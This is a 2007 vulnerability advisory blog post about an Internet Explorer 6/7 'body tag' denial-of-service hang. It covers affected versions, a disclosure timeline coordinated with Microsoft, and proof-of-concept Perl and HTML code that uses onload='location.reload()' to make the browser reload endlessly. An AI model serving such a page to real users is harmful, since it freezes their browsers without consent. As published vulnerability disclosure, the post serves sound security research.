Internet Explorer Body tag recoverable DoS issue

Wednesday, April 25, 2007
#####################################################
Internet Explorer Body tag recoverable DoS issue
Vendor url:http://www.microsoft.com
Advisore:http://lostmon.blogspot.com/2007/04/posible-ie7-dos.html
Vendor notify:YES Vendor confirmed:YES Exploit include:YES
#####################################################


Microsoft Internet Explorer contains a flaw that may allow a
malicious user to cause IE7 to enter a loop in which IE7
become unresponsive resulting in a recoverable DoS issue.
(Only affect the process what we open the file)the user,only can
terminate the process

The result in Internet Explorer is the browser seems to "hang".
I have not discovered a way to leverage the "hang" to gain
execution of arbitrary code.


############
versions
############

Tested on all of this versions:

#########
IE7
#########

Windows Vista =>vulnerable
Windows XP SP2 =>vulnerable
Windows XP Home SP2 =>vulnerable

#########
IE6
#########

Windows 2000 => Not vulnerable ?
Windows XP SP2 =>vulnerable
Windows XP Home SP2 =>vulnerable


############
Solution
###########

Microsoft is working in a
update version, patch or similar.

#############
Timeline
#############

Discovered:29-01-2007
Vendor notify: 11-03-2007
Vendor response:11-03-2007
Private Disclosure:07-02-2007
Public Disclosure: 25-04-2007



#########################

IE7 and 6 Body tag PoC

#########################



###################

Source of eso.pl

###################



 print  "<html>\ n";
 print  "<head>";
 print  "<title>";
 print  "Internet Explorer Body tag DoS Perl PoC By Lostmon
(lostmon@Gmail.com)";
 print  "</title>";
 print  "</head>";
 print  "<body onload='location.reload()'>";
 print  "<p><a href='http://lostmon.blogspot.com/'>";
 print  "Internet Explorer Body tag DoS Perl PoC By Lostmon
(lostmon@Gmail.com)";
 print  "</a></p>";
 print  "</body>";
 print  "</html>";

##############################

##############################

Source of eso.html

##############################



 print  "<html>\ n"
 print  "<head>"
 print  "<title>"
 print  "Internet Explorer Body tag DoS Perl PoC By Lostmon
(lostmon@Gmail.com)"
 print  "</title>"
 print  "</head>"
 print  "<body onload='location.reload()'>"
 print  "<p><a href='http://lostmon.blogspot.com/'>"
 print  "Internet Explorer Body tag DoS Perl PoC By Lostmon
(lostmon@Gmail.com)"
 print  "</a></p>"
 print  "</body>"
 print  "</html>"


###############################

###############################

Source of eso.htm

###############################



<html>
<head>
<title>
Internet Explorer Body tag DoS Perl PoC By Lostmon (lostmon@Gmail.com)
</title>
</head>
<body onload='location.reload()'>
<p><a href='http://lostmon.blogspot.com/'>
Internet Explorer Body tag DoS Perl PoC By Lostmon (lostmon@Gmail.com)
</a>
</p>
</body>
</html>

################################



#######################End###################



Special THnx to Secunia Research Team they made
me include/understand of which one treated and
put in my hands !!!ALL!!! What i need for this research !!!!
Secunia:http://www.secunia.com/

Thnx To estrella pq siempre estas en mi pensamiento
aunque no coincidamos y por plantar en mi la semilla
de la curiosidad , durante noches y noches !!

Thnx To FalconDeOro :
la paciencia es un a virtud pequeño Jedy !!
Gracias por tu ayuda y soporte :*

Thnx to all Microsoft Security Response Center
in specia To Annette.
http://www.microsoft.com/technet/security/

--
atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
--
La curiosidad es lo que hace mover la mente....
 

Browse

About:Me

My blog:http://lostmon.blogspot.com
Mail:Lostmon@gmail.com
Lostmon Google group
Lostmon@googlegroups.com

La curiosidad es lo que hace
mover la mente...